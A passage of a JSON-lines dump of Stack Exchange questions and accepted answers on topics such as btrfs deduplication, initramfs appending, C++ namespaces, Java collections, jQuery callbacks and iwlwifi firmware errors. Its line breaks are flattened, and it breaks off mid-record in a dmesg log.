{  "id": "_unix.202082"  , "question": "So I read this Wiki article on deduplication with btrfs. However, it doesn't describe the semantics followed by btrfs deduplication.Assume you have a dozen files. They all contain identical data, but their user and group ownership and permissions (along with extended attributes, ACLs etc) may differ.Will the deduplication feature of btrfs allow me to cut down the on-disk size to approximately one twelfth of the overall size before?Hardlinks obviously won't work because their semantics imply shared meta-data (ownership, permissions).My kernel version is 3.16."  , "title": "Deduplication semantics with btrfs - meta-data differs, file data identical"  , "tags": "btrfs;deduplication"  , "accepted_answer": "Deduplication works on a block level. If you have files with identical content but different metadata, assuming a fully deduplicated system, the whole contents will only be stored once. Even if the files are only partially identical, deduplication can save space. For example, if you had two-byte blocks and files containingfile1 = ABCDfile2 = AABAABfile3 = AABthen they would be stored in 5 blocks:file1 = block1,block2file2 = block3,block4,block1file3 = block3,block5If you have identical directories (i.e. directories containing files with the same names and the same inode numbers, e.g. as the result of cp -al or a similar file-level deduplicating incremental backup) then they too could be stored in the same blocks."  } 
{  "id": "_softwareengineering.274306"  , "question": "When writing non-member, free functions, can they be placed in the global namespace so long as the signature specifies a namespace-scoped object?  For example, in the code below, is Example 2 acceptable design?  Which is better, Example 1 or Example 2?  Does your answer change if the function is an operator overload?Research:  I don't think this question was addressed when I took a C++ programming class (or it may have been addressed before I was ready to understand it).  I tried searching for the answer with a few different permutations of the keywords but did not get any quality hits.#include <iostream>#include <string>#include <sstream>/* Example 1 */namespace myapp{    namespace xyz    {        class Thing        {        public:            Thing( int value ) : myValue( value ) {}            void setValue( int value ) { myValue = value; }            int getValue() const { return myValue; }        private:            int myValue;        };        std::string toString( const Thing& thing )        {            std::stringstream ss;            ss << thing.getValue();            return ss.str();        }    }}/* Example 2 */namespace myapp{    namespace xyz    {        class AnotherThing        {        public:            AnotherThing( int value ) : myValue( value ) {}            void setValue( int value ) { myValue = value; }            int getValue() const { return myValue; }        private:            int myValue;        };    }}std::string toString( const myapp::xyz::AnotherThing& thing ){    std::stringstream ss;    ss << thing.getValue();    return ss.str();}int main(int argc, const char * argv[]){    /* Example 1 */    myapp::xyz::Thing t( 1 );    std::cout << myapp::xyz::toString( t ) << std::endl;    /* Example 2 */    myapp::xyz::AnotherThing a( 2 );    std::cout << toString( a ) << std::endl;    return 0;}"  , "title": "Free Standing Functions in Global Namespace"  , "tags": "design;c++;programming practices;namespace"  , "accepted_answer": "boost uses a lot of free functions (free functions are a good thing). The free functions are maintained close to the namespace that involves the objects or other related classes associated with the free function. Then the free function definitions are hoisted to upper namespaces as required.This technique gives control over the scope of free functions. Utility free functions can be defined in a namespace then not hoisted treating them as private-like functions.In this case, Example 1 is more appropriate choice but adding hoisting declarations in the outer namespaces will allow the functions to be more easily referenced."  } 
{  "id": "_unix.243657"  , "question": "I'm modifying a bunch of initramfs archives from different Linux distros in which normally only one file is being changed.I would like to automate the process without switching to root user to extract all files inside the initramfs image and packing them again.First I've tried to generate a list of files for gen_init_cpio without extracting all contents on the initramfs archive, i.e. parsing the output of cpio -tvn initrd.img (like ls -l output) through a script which changes all permissions to octal and arranges the output to the format gen_init_cpio wants, like:dir /dev 755 0 0nod /dev/console 644 0 0 c 5 1slink /bin/sh busybox 777 0 0file /bin/busybox initramfs/busybox 755 0 0This involves some replacements and the script may be hard to write for me, so I've found a better way and I'm asking about how safe and portable is:In some distros we have an initramfs file with concatenated parts, and apparently the kernel parses the whole file extracting all parts packed in a 1-byte boundary, so there is no need to fill each part to a multiple of 512 bytes. I thought this 'feature' can be useful for me to avoid recreating the archive when modifying files inside it. Indeed it works, at least for Debian and CloneZilla.For example if we have modified the /init file on initrd.gz of Debian 8.2.0, we can append it to initrd.gz image with:$ echo ./init | cpio -H newc -o | gzip >> initrd.gzso initrd.gz has two concatenated archives, the original and its modifications. Let's see the result of binwalk:DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------0             0x0             gzip compressed data, maximum compression, has original file name: initrd, from Unix, last modified: Tue Sep  1 09:33:08 20156299939       0x602123        gzip compressed data, from Unix, last modified: Tue Nov 17 16:06:13 2015It works perfectly. But it is reliable? what restrictions do we have when appending data to initfamfs files? it is safe to append without padding the original archive to a multiple of 512 bytes? from which kernel version is this feature supported?"  , "title": "Appending files to initramfs image - reliable?"  , "tags": "kernel;boot;initramfs;cpio"  , "accepted_answer": "It's very reliable and supported by all kernel versions that support initrd, AFAIK.  It's a feature of the cpio archives that initramfs are made up of.  cpio just keeps on extracting its input....we might know the file is two cpio archives one after the other, but cpio just sees it as a single input stream.Debian advises use of exactly this method (appending another cpio to the initramfs) to add binary-blob firmware to their installer initramfs.  For example:https://wiki.debian.org/DebianInstaller/NetbootFirmwareInitramfs is essentially a concatenation of gzipped cpio archives  which are extracted into a ramdisk and used as an early userspace by  the Linux kernel. Debian Installer's initrd.gz is in fact a single  gzipped cpio archive containing all the files the installer needs at  boot time. By simply appending another gzipped cpio archive -  containing the firmware files we are missing - we get the show on the  road!"  } 
{  "id": "_codereview.125825"  , "question": "In an attempt to think up a more efficient String Matching algorithm than the nave \\$O(n \\cdot k)\\$ one I came up with a slightly modified approach.In my algorithm (code in Java), I tried a little modification of the \\$O(n \\cdot k)\\$ approach where every time a character match starting from i fails after k positions, we start from i+1th place. In this algo however, if matching fails at k position, I resume comparison from k-1 because we know up to k-1 the characters are common.Below is the implementation of this approach.I will really appreciate anyone taking a look into the code and Confirm if things work the way I explained. My tests seem to be working fine.What is the complexity of this approach? Is it worst case \\$O(n \\cdot k)\\$ still?An example of a worst case input.Code:public class ModifiedSearch {    private String text;    public ModifiedSearch(String text) {        this.text = text;    }    public int findPattern(String pattern) {        int textLength = text.length();        int patLength = pattern.length();        int common = 0;        boolean broken = false;        for (int tIndex = 0; tIndex <= textLength - patLength; broken = false, tIndex++) {            int k = 0;            while (tIndex + common + k < textLength && common + k < patLength) {                if (text.charAt(tIndex + common + k) != pattern.charAt(common + k)) {                    broken = true;                    common = (common + k - 1 < 0) ? 0 : common + k - 1 ;                    break;                }                k++;            }            if (!broken && common + k == patLength) {                return tIndex;            }        }        return -1;    }}I have tried this with a combination of inputs large and small, but this does not seem to worse out to \\$O(n \\cdot k)\\$. Any help greatly appreciated."  , "title": "String Matching w/o repeating the comparisons for common part of the two strings"  , "tags": "java;algorithm;strings"  } 
{  "id": "_softwareengineering.129999"  , "question": "My question is rather a design question. In my program I got to a data structure that looks something like this:private ConcurrentHashMap<A, ConcurrentHashMap<B, ConcurrentHashMap<Integer, C>>> services  = new ConcurrentHashMap<A, ConcurrentHashMap<B, ConcurrentHashMap<Integer, C>>>();Is there a way to handle such a data structure more elegantly? Thanks!edit: A, B and C are business classes. An A instance can have (as association) many Bs and a B can have many mappings Integer-C."  , "title": "Is there a way to handle nested Collections more elegantly?"  , "tags": "java;design;data structures"  , "accepted_answer": "Create a class Triple with fields for A,B,Integer, override hashCode() and equals(), and use Map<Triple,C> instead of Map<A,Map<B,Map<Integer,C>>>In this approach - you put all elements in one map, with a larger possible range of keys."  } 
{  "id": "_cogsci.9499"  , "question": "I'm trying to track down a source for an idea I saw in a documentary a while ago (sorry, no idea where!) It demonstrated how children learn differently at different ages, through showing them balancing an unevenly weighted bar (in other words, a bar that looks the same along its length, but is in fact heavier at one end).Loosely, the programme suggested that: young children (toddlers?) can get such a bar to balance intuitively, through trial-and-error; slightly older children (5?) try to balance the bar half way, and so say it won't balance; older children again, understand that the bar is not evenly weighted and so once again realise that experimentation is needed to find the balancing point.Am I completely imagining that I saw some research of this kind? Or does anybody know where I can find a link to such a piece of research?"  , "title": "Study showing how different ages of children learn about balancing objects"  , "tags": "learning;cognitive development"  , "accepted_answer": "I suspect you are thinking of Karmiloff-Smith's work. Here's an excerpt from an '88 article almost exactly matching the description. Children were asked to balance a series of blocks on a narrow metal support. Some of the blocks had their weight evenly distributed and balanced at their geometric centre. Others had been drilled with lead in one end and, although they looked identical to the first type, they actually balanced way off centre.[...]Very briefly, it was shown that 4 and 5 year olds could do this task very easily. They simply picked up each block, moved it along the support until they felt the direction of imbalance, and corrected that by using proprioceptive feedback until the block balanced. By contrast, 6 to 7 year olds placed every block at its geometric centre and were thus incapable of balancing anything but the blocks where the weight was evenly distributed. Finally, 8 to 9 year olds were able to balance all the types of block, as had the youngest subjects.I'm not super familiar with the author, but given the publication time and terminology, this seems like a theoretical predecessor to the more recent work on embodied cognition, dynamic systems and ecological psychology.KarmiloffSmith, A. (1988). The Child is a Theoretician, Not an Inductivist*. Mind & Language, 3(3), 183-196."  } 
{  "id": "_unix.10434"  , "question": "Short question: I have two dynamically generated tar archives (so they have different timestamps), how can I compare them, ignoring any different in time?Backgrounds...I am doing some backup, in which I use a script to generate things that needs to be backed up, put them in to a directory, then tar the directory and keep several old versions. The backup script needs to run every 30 minutes to make sure we don't lose hours of work.Now I realize that there are periods of time that the data doesn't change, so it doesn't make sense to store duplicates of the same thing over and over again. I would like to compare the archives before saving. My attempt was to run cmp newdata.tar.gz olddata.tar.gz and only store newdata.tar.gz if it contains new data. Apparently that didn't work, because there are different timestamps."  , "title": "Compare the contents of dynamically generated archives"  , "tags": "backup;tar"  } 
{  "id": "_unix.3955"  , "question": "In my struggles to install ClearOS correctly, I now have another problem: After the first boot I keep getting stuck on Determining IP information for wlan0.... It doesn't move forward at all. I've even waited for 20 minutes before continuing, but didn't make a difference. Right now my comp is unbootable because of this?Anyway to fix this?"  , "title": "Stuck on Determining IP information for wlan0 at boot"  , "tags": "linux;networking;boot"  , "accepted_answer": "I'm not sure, but it sounds like a dhcp issue. Maybe the acccess point you want to connect to is not set up with dhcp, or not available? For now, try pressing ctrl-c when this message appears, sometimes it works (dont know about clearos). If it works let this service start in background."  } 
{  "id": "_cs.59519"  , "question": "I am trying to compute a single-source shortest path in an interprocedural control flow graph (iCFG). That is a directed, unweighted, cyclic graph with edge labels. Some of these labels represent interprocedural call and return. The impact of these is that they determine which edge must be traversed on a call return.Is there a shortest path algorithm adapted to this kind of graph?EditClarification: suppose that I am able to identify a pair of nodes of interest (n1, n2) in the graph using a plain boring graph traversal, I want to obtain the shortest path between n1 and n2 that respects the constraints of the graph."  , "title": "Single-source shortest path algorithm for graphs representing stacked behavior"  , "tags": "algorithms;graphs;reference request;shortest path"  } 
{  "id": "_unix.184935"  , "question": "By mistake I have deleted dpkg executable from bin folder. Now whenever I try to install anything I get the following error message:Sub-process /usr/bin/dpkg returned an error code (100)"  , "title": "Accidentally deleted dpkg executable"  , "tags": "ubuntu;dpkg"  } 
{  "id": "_unix.127608"  , "question": "I know there are tools to inspect packets (e.g. wireshark) or to simulate latency/packet loss (e.g. netem), but they all seem to require administrative permissions to inspect/modify packets.I'm looking for something which could intercept packets for a single application and be usable by a standard (non-root) user.I'd like some kind of valgrind tool for network, where you use it to wrap your application and it intercepts network requests to inspect/modify them.My main use case is to enable students to use such tools on university computers in a simple way (i.e. without needing virtual machines or support from the administrators).Do such tools exist? Otherwise, what prevents them from actually existing in the first place?Note: tools such as setcap, which need to be configured by system administrators and may grant too many powers to the users (e.g. inspecting every packet, and not just the ones generated by their applications) aren't suitable.Edit: OK, so after some research, I found out about the LD_PRELOAD trick, which could be used as a poor man's wrapper to intercept specific library functions (e.g. connect, sendto, etc.) and count/modify packets. Apparently the reason why there are not so many non-root tools based on this is because:it's not useful for security purposes (it can be easily circumvented), andmost people during useful things with network already need root access anyway, so outside very specific applications tailored for learning, there is no real demand.But this is technically feasible, in case any curious students are willing to develop such applications themselves.Another technique would be to code a valgrind plug-in to deal with this and use valgrind to run the program. But it seems way overkill, so no sane people have done it.Could someone more knowledgeable than me just confirm if my previous statements are correct?"  , "title": "Non-administrative network-related tools"  , "tags": "networking;not root user"  } 
{  "id": "_cs.77851"  , "question": "I have a DAG.  I want to construct a boolean formula $\\varphi$ that represents all paths from a source node to a sink node.In particular, I have a variable for each vertex.  A path $v_1 \\to v_2 \\to \\dots \\to v_k$ is represented as the subformula $v_2 \\lor \\dots \\lor v_{k-1}$.  I want a formula $\\varphi$ that is a conjunction of all of these subformulas (one subformula per path from a source node to a sink node).How can I construct $\\varphi$ in CNF form?Input example:    W    ^  (r1 and r2 both reach w)R1    R2 X    X (this signifies a connection to R1 and R2)b1    b2^     ^|     |c1    c2Desired output in CNF format:(b1 or R1)and(b1 or R2)and(b2 or R1)and (b2 or R2)The output represents all paths from c1 or c2 to w."  , "title": "How to convert a graph into a Boolean formula that represents all paths from a source node to a sink node?"  , "tags": "algorithms;graphs;graph theory;boolean algebra"  } 
{  "id": "_codereview.16437"  , "question": "I am currently using this code, but I am pretty sure there is a better way of doing it:private string ReturnEmployeeName(string userName){    try    {        // Username coming is     RandomDomain\\RandomLengthUsername.whatever        string[] sAMAccountName = userName.Split('\\\\');        return sAMAccountName[1];How can I make this faster?  I am not sure if my try block will catch any exceptions that may arise because of this line."  , "title": "Splitting a string of random length"  , "tags": "c#;performance;strings;error handling;sharepoint"  , "accepted_answer": "Fast is not too relevant here, since it's such a simple method.And the canned response also applies: if you want to improve the speed, first do some benchmarking to know where the bottlenecks really are.But here my proposal of a better way:private const string DefaultEmployeeName = JDoe;/// <param name=userName>Format expected: Domain\\Name</param>private string ParseEmployeeName(string userName) {    if (userName == null) {        return DefaultEmployeeName;    }    // Username coming is RandomDomain\\RandomLengthUsername.whatever    // Let's split by '\\', returning maximum 2 substrings.    // The second (n) will contain everything from the first (n-1) separator onwards.    string[] parts = userName.Split(new char[] { '\\\\' }, 2);    if (parts.Length < 2) {        return DefaultEmployeeName;    }    // Let's remove whitespace, just in case.    string name = parts[1].Trim();    if (string.IsNullOrEmpty(name)) {        return DefaultEmployeeName;    }    return name; // RandomLengthUsername.whatever}The comment with /// on top is a documentation comment.Those will enrich the Intellisense view of the method, providing extra information."  } 
{  "id": "_unix.15050"  , "question": "I know why this is good in general: faster security fixes, easier packaging, more features. However, I'm trying to persuade some co-workers that we don't need to bundle a library with our program. It will not work without this library, but the library has been stable for a while now and will remain so for the foreseeable future. I don't see any reason NOT to unbundle it. What arguments could I use to persuade them?My specific situation is this: I'm working on SymPy, which is an open-source Python library for symbolic mathematics. A core part of it is mpmath, which is a library for multi-prevision floating point arithmetic. SymPy doesn't work without mpmath, there is no alternative. As such, it has been bundled with SymPy since the start (I was told that there were usually small incompatibilities to fix everytime a new version is imported). It should also be noted that the developer of mpmath used to be involved in SymPy development. There is now an issue on unbundling mpmath, you can read it all here.To summarize the discussion there:Unbundle:Somewhat easier porting to Python 3 (minor argument IMHO)Easier packaging for distributionsFaster (security) feature updates to usersPackaging and handling dependencies are hard problems, but they are solved. This is definitely not an area where we should do our own thing.Keep bundling:Installation. It's easy on Linux, harder on Mac and very hard on Windows. Lack of su access and other problems.it is an integral part of SymPy, i.e. sympy does not work without it (at all)there is no other package, that can do the job of mpmathWhen I, as a user, download sympy, I expect it to just work.That's my specific situation, but I'd accept an answer that provides a good, general answer as well."  , "title": "Why are libraries shipped separately instead of bundled with every program?"  , "tags": "package management"  , "accepted_answer": "Yet another answer, but one I consider to be the most important (just my own personal opinion), though the others are all good answers as well.Packaging the lib separately allows the lib to be updated without the need to update the application. Say theres a bug in the lib, instead of just being able to update the lib, you'd have to update the entire application. Which means your application would need a version bump without its code even having changed, just because of the lib."  } 
{  "id": "_cogsci.16747"  , "question": "Tell people that God says something and they believe.Tell people that the paint is wet and they have to touch to believe.If I ask people if God really made http://thegoodlordabove.com/god-talks-several-trump-supporters-need-safe-space/ people would laugh at me.If I ask people if God really made the bible or send prophets, many will stone me for even asking their sacred beliefs.Why?Is fear of authority or instincts to obey the authority, or lack of personal cost of being false makes people easily believe things?The bible and quran, for example, carries tons of authority and tend to support status quo. People would at least have incentive to pretend they believe. A wet paint doesn't. Or what?What are the explanations?"  , "title": "How do we explain that some humans require far more evidence for some claims than others?"  , "tags": "religion"  , "accepted_answer": "There are at least two important factors or phenomena at play here. The first is whether the subject of the belief has real-world consequences to the believer. The second is whether the belief relates to groups to which the believer associates or belongs.When a person's belief on a particular matter makes no functional difference to that person, he or she is free to believe whichever or whatever way without gain or loss. In this sense, it is easy for a person to criticise others for doing something a certain way when the person doing the criticism is not in the business of trying to accomplish the same goal. A person might complain, for example, that company X would be more successful if they focused on product Y instead of product Z. Having this belief is inconsequential to the believer since he or she has nothing to gain or lose from being right or wrong. A similar occurrence is when a person believes something to be dangerous without real evidence, as for example the consumption of GMO foods. Whether GMOs actually hurt you is irrelevant to a person who eats strictly non-GMO organic foods. Granted the person has no shortage of money, the accuracy of this belief makes no functional difference, so there is little if any incentive to be honest about the actual safety record. For a person having barely enough money to buy food, on the other hand, the actual safety record of low-cost foods is much more pertinent and important since the decision makes a substantial difference in financial burden. It is easy for a person having ample money to make the claim that expensive items are substantially safer and more effective. For a person with limited funds, the truth of the matter is far more important.In the case of wet paint, if there is a risk to the person of getting the paint on his or her clothes, then the person is likely to see real consequences in the reality of the matter. Hence, there is little room for carelessly choosing a belief -- the truth has real consequences to this person.A person's affiliations and group identity may be given high priority, especially when a person stands to gain from that association. Any attack or perceived attack on the group or its collective beliefs may be taken as an attack on the individual. The group may be seen and felt as an extended self. A person having no such association or feeling toward a group or its beliefs is not likely to be much offended or protective of those beliefs. Hence, he or she is free to consider their truth or falsehood. Someone whose life and well-being depend on that group or set of beliefs, on the other hand, is not going to take skepticism lightly since it poses a very real threat. In this sense, the situation is similar to that mentioned above about consequences. If a person depends on a group or belief-system for material or emotional well-being, then any attacks on that group's reputation or status may harm the person indirectly.Naturally there is a third factor where certain religions impose or threaten penalties for those who do not defend the religion and its beliefs. In this case, a true believer may protect the group and its beliefs purely out of fear for said consequences.To answer your main question more directly, those for whom knowing the truth is more consequential will require greater evidence than those for whom knowing the truth is irrelevant or even harmful (whether materially or emotionally). A person dependent on a group for material or emotional support is more likely to believe in that group and its teachings, regardless of the truth.On a side note, even science can be seen as a group identity these days, from which we can expect that some individuals would derive emotional or material well-being. Having an emotional stake in science would make a person require more evidence to the contrary before considering a religious perspective. Unfortunately, this type of group identity can blind individuals on both sides of the science/religion debate, among other debates (politics, GMOs, et cetera). Ego and emotion, when left unchecked, can be very harmful."  } 
{  "id": "_cs.29896"  , "question": "I am going to have Introduction to Artificial Intelligence in this semester & I know that our main resource would be Artificial Intelligence A Modern Approach, since I want to learn deeply and Implement all the algorithms we are going to learn, I want to implement a simple intelligent mini-game for each material in the course.so my question is that what games would be best for each topic? the only ones I could come up with were a Sudoku Solver and a simple player vs. computer Tic-Tac-Toe. "  , "title": "Mini-Games for Artificial Intelligence Course"  , "tags": "algorithms;artificial intelligence;education"  } 
{  "id": "_softwareengineering.292028"  , "question": "I've spent six full days so far working on a spec for a web-app component. Apart from personally wanting some task that doesn't involve Word, I'm wondering if there is a point at which I know that the spec I'm working on is finished (but isn't a spec a constant work-in-progress?). I feel that the spec still doesn't explain a good solution for all the requirements I have, so I'm still on it.Is there any good heuristic or red flag that says I should stop working on a spec?Note:As opposed to this question and it's answers, I am looking for a completion metric specific to the design, rather than how to decide when code quality is good enough to know that the implementation is complete."  , "title": "How much effort should I put into the functional specification?"  , "tags": "specifications"  , "accepted_answer": "What you are looking for is traceability.Whether you use old-school waterfall or more modern iterative approaches, a unit of functionality necessarily follows a simple process:Define business requirements.Define functional requirements.Define technical requirements.Design the software. <-- You are hereImplement the software.Test the software.At each step of the process, you should be able to trace your requirements back and forth between steps.Each functional requirement (the system shall have function X) must be traceable to a business requirement (we need a system to do X). Note that a business requirement is normally high level and spawns many functional requirements.Each design element traces back to a functional requirement. E.g. the form elements on this screen all support functional requirement X. All of the data requirements in this functional or technical requirement are satisfied by this screen or interface.When you have 100% coverage throughout the whole process, you know your design is functionally complete.But wait! Can the design be implemented reasonably? The key here is collaboration. This is where design reviews come into play. Get the key players involved: customer, project management, developers, and QA. Can the design be implemented? Can it be tested? Does it really satisfy the requirements? Once the team comes to a consensus, you are likely done with the design."  } 
{  "id": "_unix.129300"  , "question": "I have 2 python instance on a CentOS machine, i.e. /usr/bin/python2.4 and /usr/bin/python2.7.Modules for 2.4 are in /usr/lib/python2.4, and modules for 2.7 are in /usr/local/python27. When I do yum install numpy, which I want to install for python2.7, it automatically install for python2.4.How can I appoint which instance to install modules for with yum, easy_install and pip?"  , "title": "install python module for particular python instance"  , "tags": "centos;yum;python"  } 
{  "id": "_unix.86255"  , "question": "I'm using Debian testing. I want to configure wifi on my netbook, but failed to do so and when the system boots I get the following message:INFO: task wpa_supplicant:1634 blocked for more than 120 seconds.echo 0 > /proc/sys/kernel/hung_task_timeout_secs disables this message.I have come across info that this is a new feature that informs that a service is failing. The service in my case is /etc/init.d/networking.The problem is this: Booting process hangs and prints every 120 seconds the message above and that is it. I can't use my netbook any more. Is there any way to boot without this service?PS. What I'm doing right now is booting from a rescue USB disk to fix the issue but I wonder if there is any boot options I could use in circumstances like this?"  , "title": "boot without failing services"  , "tags": "debian;boot;services"  , "accepted_answer": "I think you have basically following optionsdisable service from starting up$ sudo update-rc.d networking disabledisable configuration on boot (by editing /etc/default/networking)# Set to 'no' to skip interfaces configuration on boot#CONFIGURE_INTERFACES=yesboot to runlevel without it and then after fixing move to desired levelDebian networking is setup in the S runlevel so this doesn't help that much unless you move the service to a different runlevel. It can be done by using update-rc.d. Then while booting you just have to pass a boot parameter to the kernel saying what runlevel to enter (or updating /etc/inittab modifying default).kernel /boot/vmlinuz-2.6.30 root=/dev/sda2 ro 3You might find following resource useful https://wiki.debian.org/RunLevel.There is also a tool named rcconf for manipulating runlevels and enabling / disabling services.To me option 2 seems like easiest until you fix your issue."  } 
{  "id": "_unix.163883"  , "question": "Used to be root@localhost. The system is CentOS Release 6.4 in a VMware virtual machine. Yesterday I did some test of the user and group commands. And I noticed the tty1 login prompt changed to be bogon login. And then the pts prompt changed after that. My question is how to change it back?Since the prompt change was not due to my deliberate modification to variable PS1, I suspect that there must be some reason for this. I want to dig it out and thus prevent future auto change to the bogon name again. Also, I want to know the what the word bogon stands for.As I indicated in the comment, this is not the first time that happened to my Linux virtual machine. Yes, the virtual machine is connected to a DHCP wifi router."  , "title": "Why my bash prompt changed to be root@bogon"  , "tags": "prompt"  } 
{  "id": "_codereview.3222"  , "question": "For every word there are 2^n different ways of writing the word if you take into account upper/lower case letters. Eg for word we can write;wordWordwOrdWOrdwoRdWoRdetcI've written this code to calculate all the combinations. Is there any way I can improve the performance? Profiling tells me that this method takes 99.9% of the execution time of my program (which measures password strength).String word = word;int combinations = 1 << word.length();   for (int i=0; i<combinations; i++) {  StringBuilder buf = new StringBuilder(word);  for (int j=0; j<word.length(); j++) {    if ((i & 1<<j) != 0) {      String s = word.substring(j, j+1).toUpperCase();      buf.replace(j, j+1, s);    }  }  System.out.println(buf);}"  , "title": "Finding all upper/lower case combinations of a word"  , "tags": "java;optimization"  } 
{  "id": "_codereview.4654"  , "question": "I have a lot of repeatable blocks of code and want to optimize/simplify them:    function animationInit() {    content = $('#content')        .bind('show',function(event, f) {            $(this).animate({right:0}, lag + 200, function() {                if (f) f();            });        })        .bind('hide',function(event, f) {            $(this).animate({right:-700}, lag + 200, function() {                if (f) f();            });        });    hotelnav = $('#hotel')        .bind('show',function(event, f) {            hotelnav.removeClass('small');            $(this).animate({left:0}, lag + 200, function() {                if (f) f();            });        })        .bind('hide',function(event, f) {            $(this).animate({left:isGallery()?-300:-300}, lag + 200, function() {                hotelnav.addClass(isGallery()?'small':'');                if (f) f();            });        });    bottompanel = $('#bottompanel')        .bind('show',function(event, f) {            $(this).animate({bottom:40}, lag + 200, function() {                if (f) f();            });        })        .bind('hide',function(event, f) {            $(this).animate({bottom:-120}, lag + 200, function() {                if (f) f();            });        });    booknow = $('#booknow')        .bind('show',function(event, f) {            $(this).fadeIn(lag + 200, function() {                if (f) f();            });        })        .bind('hide',function(event, f) {            $(this).fadeOut(lag + 200, function() {                if (f) f();            });        });     };How i can optimize repeatable parts of code with callbacks?Im trying to create separate function like this:function cb(callback) {    if (callback) callback();};... but just have a lot of asynchronous callbacks..."  , "title": "jQuery callbacks optimization"  , "tags": "javascript;jquery;callback"  , "accepted_answer": "I don't understand the need for function() {    if (f) f();}put f instead of that whole thing. If it is undefined it won't get called.e.g.bind('show',function(event, f) {    $(this).animate({right:0}, lag + 200, f);});Another thought came to me. The functions you use could be factored and used like:function animateRight(event, f, rightValue, delay){    $(this).animate({right: rightValue}, lag + delay, f);}(or if you can't pass that information in:function animateRight(event, f, rightValue, delay){    return new function()    {        $(this).animate({right: rightValue}, lag + delay, f);    }}"  } 
{  "id": "_softwareengineering.37191"  , "question": "I think that most people would agree that ASP.NET MVC is one of the better technologies Microsoft has given us. It gives full control over the rendered HTML, provides separation of concerns and suites to stateless nature of web.The last version of the framework gaves us new features and tools and it's great, but... what solutions should Microsoft include in new versions of framework? What are biggest gaps in comparison with another web frameworks like PHP or Ruby? What could improve developers productivity? What's missing in ASP.NET MVC?  Why is this missing feature important?  How do you do without it now?"  , "title": "What's missing in ASP.NET MVC?"  , "tags": "web development;php;.net;ruby on rails;asp.net mvc"  } 
{  "id": "_unix.378659"  , "question": "I downloaded the firmware and copied it to /lib/firmware and still I keep getting errors.Contents of /lib/firmware :-rw-r--r-- 1 root root  337520 Jun 16  2014 iwlwifi-1000-5.ucode-rw-r--r-- 1 root root  337572 Jun 16  2014 iwlwifi-100-5.ucode-rw-r--r-- 1 root root  689680 Jun 16  2014 iwlwifi-105-6.ucode-rw-r--r-- 1 root root  701228 Jun 16  2014 iwlwifi-135-6.ucode-rw-r--r-- 1 root root  695876 Jun 16  2014 iwlwifi-2000-6.ucode-rw-r--r-- 1 root root  707392 Jun 16  2014 iwlwifi-2030-6.ucode-rw-r--r-- 1 root root  670484 Jun 16  2014 iwlwifi-3160-7.ucode-rw-r--r-- 1 root root  667284 Jun 16  2014 iwlwifi-3160-8.ucode-rw-r--r-- 1 root root  666792 Jun 16  2014 iwlwifi-3160-9.ucode-rw-r--r-- 1 root root 1180356 Jul 15 12:13 iwlwifi-3165-15.ucode-rw-r--r-- 1 root root  150100 Jun 16  2014 iwlwifi-3945-2.ucode-rw-r--r-- 1 root root  187972 Jun 16  2014 iwlwifi-4965-2.ucode-rw-r--r-- 1 root root  353240 Jun 16  2014 iwlwifi-5000-2.ucode-rw-r--r-- 1 root root  340696 Jun 16  2014 iwlwifi-5000-5.ucode-rw-r--r-- 1 root root  337400 Jun 16  2014 iwlwifi-5150-2.ucode-rw-r--r-- 1 root root  454608 Jun 16  2014 iwlwifi-6000-4.ucode-rw-r--r-- 1 root root  444128 Jun 16  2014 iwlwifi-6000g2a-5.ucode-rw-r--r-- 1 root root  677296 Jun 16  2014 iwlwifi-6000g2a-6.ucode-rw-r--r-- 1 root root  679436 Jun 16  2014 iwlwifi-6000g2b-6.ucode-rw-r--r-- 1 root root  463692 Jun 16  2014 iwlwifi-6050-4.ucode-rw-r--r-- 1 root root  469780 Jun 16  2014 iwlwifi-6050-5.ucode-rw-r--r-- 1 root root  683236 Jun 16  2014 iwlwifi-7260-7.ucode-rw-r--r-- 1 root root  679780 Jun 16  2014 iwlwifi-7260-8.ucode-rw-r--r-- 1 root root  679380 Jun 16  2014 iwlwifi-7260-9.ucode-rw-rw-r-- 1 root root  885224 Jun 18  2015 iwlwifi-7265-13.ucode-rw-r--r-- 1 root root 1180224 Jul 15 15:46 iwlwifi-7265-14.ucode-rw-r--r-- 1 root root 1180356 Jul 15 12:13 iwlwifi-7265-15.ucode-rw-r--r-- 1 root root  690452 Jun 16  2014 iwlwifi-7265-8.ucode-rw-r--r-- 1 root root  691960 Jun 16  2014 iwlwifi-7265-9.ucode-rw-rw-r-- 1 root root 1008692 Jun 18  2015 iwlwifi-7265D-13.ucode-rw-r--r-- 1 root root 1384256 Jul 15 15:46 iwlwifi-7265D-14.ucodeDmesg output:[    8.549314] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-26.ucode (-2)[    8.549420] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-26.ucode failed with error -2[    8.549447] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-25.ucode (-2)[    8.549546] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-25.ucode failed with error -2[    8.549569] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-24.ucode (-2)[    8.549667] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-24.ucode failed with error -2[    8.549689] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-23.ucode (-2)[    8.549786] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-23.ucode failed with error -2[    8.549807] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-22.ucode (-2)[    8.549905] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-22.ucode failed with error -2[    8.549925] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-21.ucode (-2)[    8.550093] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-21.ucode failed with error -2[    8.550114] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-20.ucode (-2)[    8.550280] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-20.ucode failed with error -2[    8.550301] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-19.ucode (-2)[    8.550467] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-19.ucode failed with error -2[    8.550488] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-18.ucode (-2)[    8.550654] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-7265D-18.ucode failed with error -2[    8.550674] iwlwifi 0000:03:00.0: firmware: failed to load iwlwifi-7265D-17.ucode (-2)[    8.550839] iwlwifi 0000:03:00.0: Direct firmware 